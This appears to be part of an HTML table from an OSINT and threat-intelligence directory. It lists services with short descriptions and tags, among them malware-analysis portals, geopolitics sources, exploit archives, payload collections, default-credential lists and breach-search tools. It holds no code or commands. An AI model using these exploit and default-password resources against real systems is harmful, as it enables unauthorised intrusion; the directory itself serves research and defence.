<tr><td><a href='https://www.criminalip.io'>CriminalIP</a><br><a href='https://twitter.com/CriminalIP_US'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/aispera'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCa_xzwKO-qy2MZgDXi7-tnw'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Search for information on anything connected to public internet</td><td>GLOBAL</td><td>web,network,vulnerability,image</td></tr>
<tr><td><a href='https://opentip.kaspersky.com'>Kaspersky OpenTIP</a><br><a href='https://twitter.com/kaspersky'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Kaspersky Threat Intelligence Portal allows you to scan files, domains, IP addresses, and URLs for threats, malware, viruses.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://www.greynoise.io'>GreyNoise</a><br><a href='https://twitter.com/GreyNoiseIO'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>GreyNoise captures data on IPs that scan the internet and saturate security tools with internet noise, so SOC teams can focus on threats that matter and ignore those that don't.</td><td>GLOBAL</td><td>web,malware,network</td></tr>
<tr><td><a href='https://analyze.intezer.com'>Intezer Analyze</a><br><a href='https://twitter.com/IntezerLabs'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Malware analysis platform quickly classifying malware and unknown files. Unlike Antivirus and EDRs which mostly produce generic results (think “Trojan.Generic”) and can only classify specific hashes, Intezer analyzes the code itself in order to categorize the threat and classify variants from the same malware family.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://www.arkhamintelligence.com'>Arkham Intelligence</a><br><a href='https://twitter.com/ArkhamIntel'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Powerful tools for linking cryptocurrency activity to real world individuals and institutions.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://otx.alienvault.com'>AlienVault OTX</a><br></td><td>A Threat data platform that allows security researchers and threat data producers to share research and investigate new threats.</td><td>GLOBAL</td><td>malware,network,web</td></tr>
<tr><td><a href='https://www.exploit-db.com'>ExploitDB</a><br><a href='https://twitter.com/exploitdb'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/ExploitDB'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>An archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers.</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://whatsmyname.app'>WhatsMyName</a><br></td><td>This tool allows you to enumerate usernames across many websites.</td><td>GLOBAL</td><td>social</td></tr>
<tr><td><a href='https://dehashed.com'>Dehashed</a><br></td><td>DeHashed provides free deep-web scans and protection against credential leaks. A modern personal asset search engine to help secure accounts and provide insight on compromised assets.</td><td>GLOBAL</td><td>breach</td></tr>
<tr><td><a href='https://github.com/many-passwords/many-passwords'>ManyPasswords</a><br></td><td>Default passwords for IoT devices and for web applications (for ex. MySQL and PostgreSQL admin panels)</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://branddb.wipo.int'>BrandDB</a><br></td><td>Perform a trademark search by text or image in brand data from multiple national and international sources, including trademarks, appellations of origin and official emblems.</td><td>GLOBAL</td><td>company</td></tr>
<tr><td><a href='http://dnshistory.org'>DNS History</a><br><a href='https://www.facebook.com/DnsHistory'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Domain Name System (DNS) Historical Record Archive</td><td>GLOBAL</td><td>network</td></tr>
<tr><td><a href='https://www.cia.gov/the-world-factbook'>The World Factbook</a><br><a href='https://twitter.com/cia'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/Central.Intelligence.Agency'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/cia'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/central-intelligence-agency'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>The World Factbook provides basic intelligence on the history, people, government, economy, energy, geography, environment, communications, transportation, military, terrorism, and transnational issues for 266 world entities.</td><td>GLOBAL</td><td>geopolitics,terrorism,economics</td></tr>
<tr><td><a href='https://www.kaggle.com/datasets/klapeyefoundation/global-terrorism'>Global Terrorism Catalogue</a><br><a href='https://github.com/klapeye'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>Catalogue of Terrorist Incidents occurred globally since 1968.</td><td>GLOBAL</td><td>terrorism</td></tr>
<tr><td><a href='https://ransom.wiki'>Ransom Wiki</a><br><a href='https://twitter.com/S0ufi4n3'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/in/soufianetahiri'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Check if your company or partner appears in a claimed ransom attack breach.</td><td>GLOBAL</td><td>breach</td></tr>
<tr><td><a href='https://github.com/ARPSyndicate/xlocate'>Xlocate</a><br><a href='https://twitter.com/scanfactory_io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>The ultimate exploits/references finder</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://publicintelligence.net'>Public Intelligence</a><br><a href='https://twitter.com/publicintel'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Public Intelligence is an international, collaborative research project aimed at aggregating the collective work of independent researchers around the globe who wish to defend the public's right to access information.</td><td>GLOBAL</td><td>geopolitics</td></tr>
<tr><td><a href='https://intelligencebriefs.com'>Intelligence Briefs</a><br><a href='https://twitter.com/CTNSIS'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/CTNSIS'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Strategic Intelligence News publishes intelligence reports, geopolitics, military intelligence, and crime reports analysis.</td><td>GLOBAL</td><td>geopolitics,terrorism,crimes</td></tr>
<tr><td><a href='https://www.rand.org'>RAND Corporation</a><br><a href='https://www.youtube.com/user/TheRANDCorporation'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.facebook.com/RANDCorporation'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://twitter.com/randcorporation'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.instagram.com/randcorporation'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/rand-corporation'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>The RAND Corporation is a research organization that develops solutions to public policy challenges to help make communities throughout the world safer and more secure, healthier and more prosperous. RAND is nonprofit, nonpartisan, and committed to the public interest.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://github.com/projectdiscovery'>ProjectDiscovery</a><br><a href='https://twitter.com/pdiscoveryio'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>An open-source software company that builds tools to detect and remediate vulnerabilities from development to production.</td><td>GLOBAL</td><td>network,web,exploit,vulnerability</td></tr>
<tr><td><a href='https://bevigil.com'>BeVigil</a><br><a href='https://twitter.com/cloudsek'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>The internet's first and only security search engine for mobile apps.</td><td>GLOBAL</td><td>network,vulnerability</td></tr>
<tr><td><a href='http://cinsscore.com/#list'>CINS Army List</a><br></td><td>CINS Army shares valuable threat intelligence harvested from their CINS system. The CINS Army list is a subset of the CINS Active Threat Intelligence ruleset, and consists of IP addresses having poor recent Rogue Packet score factor or have tripped a designated number of trusted alerts across a given number of their Sentinels deployed around the world.</td><td>GLOBAL</td><td>malware,network</td></tr>
<tr><td><a href='http://s3-us-west-1.amazonaws.com/umbrella-static/index.html'>Umbrella List</a><br></td><td>The popularity list contains most queried domains based on passive DNS usage across Umbrella global network of more than 100 Billion requests per day with 65 million unique active users, in more than 165 countries.</td><td>GLOBAL</td><td>network</td></tr>
<tr><td><a href='https://bazaar.abuse.ch'>MalwareBazaar</a><br><a href='https://twitter.com/abuse_ch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>MalwareBazaar is a project from abuse.ch with the goal of sharing malware samples with the infosec community, AV vendors and threat intelligence providers.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://www.binarydefense.com/banlist.txt'>BD Banlist</a><br></td><td>Binary Defense Systems Artillery Threat Intelligence Feed and Banlist Feed</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://www.abuseipdb.com'>AbuseIPDB</a><br><a href='https://twitter.com/abuseIPDB'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>AbuseIPDB is a project dedicated to helping combat the spread of hackers, spammers, and abusive activity on the internet.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://github.com/Yara-Rules/rules'>Yara Rules</a><br><a href='https://twitter.com/yararules'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>This project covers the need of a group of IT Security Researchers to have a single repository where different Yara signatures are compiled, classified and kept as up to date as possible, and began as an open source community for collecting Yara rules.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://www.crowdsec.net'>CrowdSec</a><br><a href='https://twitter.com/crowd_security'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://fr.linkedin.com/company/crowdsec'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCKhMjrV_Y2ws3gTW-SsxFkA'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>CrowdSec is an open-source and collaborative security stack leveraging the crowd power. Analyze behaviors, respond to attacks & share signals across the community. Gain crowd-sourced protection against malicious IPs. Benefit from the most accurate CTI in the world.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://www.botvrij.eu'>Botvrij</a><br><a href='https://www.twitter.com/cudeso'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Botvrij provides different sets of open source IOCs that you can use in your security devices to detect possible malicious activity. The information contains network info (IPs), file hashes, file paths, domain names, URLs.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://bgpranking.circl.lu'>BGP Ranking</a><br><a href='https://github.com/D4-project'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>BGP Ranking is a free software to calculate the security ranking of Internet Service Providers. The system is gathering external datasources (e.g. dshield, shadowserver, Arbor ATLAS) in order to evaluate the ranking over time.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://warontherocks.com'>War on the Rocks</a><br><a href='https://twitter.com/warontherocks'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>War on the Rocks is a platform for analysis and debate on strategy, defense, and foreign affairs. It features articles and podcasts produced by an array of writers with deep experience in these matters: top notch scholars who study war, those who have served or worked in war zones, and more than a few who have done it all.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://dnsrepo.noc.org'>NOC DNSRepo</a><br></td><td>Search NOC's DNS repository of IP addresses, domains, and their records. You can search for domains behind an IP address, or all sub domains for a specific domain. You can also do sub domain discovery, find domains behind a specific service and much more.</td><td>GLOBAL</td><td>network</td></tr>
<tr><td><a href='https://intelx.io'>IntelligenceX</a><br><a href='https://twitter.com/_IntelligenceX'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>IntelligenceX delivers fast, high-quality results and make the deepest parts of the internet accessible with a few clicks. It searches billions of selectors in a matter of milliseconds. The search works with selectors, i.e. specific search terms such as email addresses, domains, URLs, IPs, CIDRs, Bitcoin addresses, IPFS hashes, etc. It searches in places such as the darknet, document sharing platforms, whois data, public data leaks and others. It keeps a historical data archive of results, similar to how the Wayback Machine from archive.org stores historical copies of websites.</td><td>GLOBAL</td><td>crypto,network,breach,web,tor</td></tr>
<tr><td><a href='https://github.com/ihebski/DefaultCreds-cheat-sheet'>DefaultCreds</a><br></td><td>One place for all the default credentials</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://github.com/swisskyrepo/PayloadsAllTheThings'>PayloadAllTheThings</a><br><a href='https://twitter.com/pentest_swissky'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>A list of useful payloads and bypass for Web Application Security and Pentest/CTF.</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://github.com/swisskyrepo/HardwareAllTheThings'>HardwareAllTheThings</a><br><a href='https://twitter.com/pentest_swissky'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>A list of useful payloads and bypasses for Hardware and IOT Security.</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://github.com/j3ssie/metabigor'>Metabigor</a><br><a href='https://twitter.com/j3ssiejjj'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://twitter.com/OsmedeusEngine'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Metabigor is Intelligence tool, its goal is to do OSINT tasks and more but without any API key.</td><td>GLOBAL</td><td>network,web</td></tr>
<tr><td><a href='https://www.youtube.com/@OSINTCurious'>OSINT Curious</a><br></td><td>The OSINT Curious Project is a source of quality, actionable, Open Source Intelligence news, blogs, instructional videos, online Discord community, and live streams.</td><td>GLOBAL</td><td>social,network,crypto,geopolitics,web,tor</td></tr>
<tr><td><a href='https://benjaminstrick.com'>Benjamin Strick</a><br><a href='https://www.youtube.com/@Bendobrown'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://twitter.com/BenDoBrown'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/profile.php?id=100088570576178'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://linkedin.com/in/bends'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Benjamin Strick creates digital research tutorials and videos for this web generation on Open Source Intelligence (OSINT), digital research, geolocation and curious bytes so that no matter who you are, or where you are in the world, you can learn how to identify, verify and analyse information online.</td><td>GLOBAL</td><td>individual</td></tr>
<tr><td><a href='https://www.counterextremism.com'>Counter Extremism</a><br></td><td>The Counter Extremism Project (CEP) is a not-for-profit, non-partisan, international policy organization formed to combat the growing threat from extremist ideologies. It strives to build and maintain its best-in-class research and analysis databases on extremist groups, including their ideology, leaders, history, financing, violent activities, tactics, and rhetoric.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/mckinsey-global-economics-intelligence'>McKinsey Insights</a><br><a href='https://twitter.com/mckonfinance'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://twitter.com/McKStrategy'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Critical trends and risks in the global economy</td><td>GLOBAL</td><td>economics</td></tr>
<tr><td><a href='https://www.eiu.com/n/global-themes'>Economist Intelligence</a><br><a href='https://www.linkedin.com/company/the-economist-intelligence-unit'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://twitter.com/theeiu'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.youtube.com/user/eiumedia'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='http://facebook.com/TheEIU'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Stay current on important trending topics that impact business decisions through EIU curated set of global themes which range from climate change to Covid-19 and digital payments. Learn how global issues are impacting various industries and markets today.</td><td>GLOBAL</td><td>economics</td></tr>
<tr><td><a href='https://www.quiverquant.com'>Quiver Quant</a><br><a href='https://twitter.com/QuiverQuant'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.instagram.com/quiverquantitative'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Quiver scrapes alternative stock data from across the internet and aggregates it in a free, easy-to-use web dashboard. It allows retail investors to tap into the power of big data, and have access to actionable, easy to interpret data that hasn't already been dissected by Wall Street.</td><td>GLOBAL</td><td>stocks</td></tr>
<tr><td><a href='https://attack.mitre.org'>MITRE ATT&CK</a><br><a href='https://twitter.com/MITREattack'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>MITRE ATT&CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://www.exploitalert.com'>Exploit Alert</a><br></td><td>Exploits found on the INTERNET</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='http://www.xss-payloads.com'>XSS Payloads</a><br></td><td>The wonderland of JavaScript unexpected usages, and more.</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://lolbas-project.github.io'>LOLBAS</a><br></td><td>The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.</td><td>GLOBAL</td><td>exploit,malware,vulnerability</td></tr>
<tr><td><a href='https://gtfobins.github.io'>GTFOBins</a><br></td><td>GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://0day.today'>0day Today</a><br><a href='https://twitter.com/Inj3ct0r'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/Inj3ct0rs'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>0day Today is the ultimate database of exploits and vulnerabilities and a great resource for vulnerability researchers and security professionals.</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://www.rapid7.com/db'>Rapid7 DB</a><br><a href='https://twitter.com/Rapid7'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/rapid7'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/rapid7'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/39624'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Technical details for over 180,000 vulnerabilities and 4,000 exploits are available for security professionals and researchers to review.</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
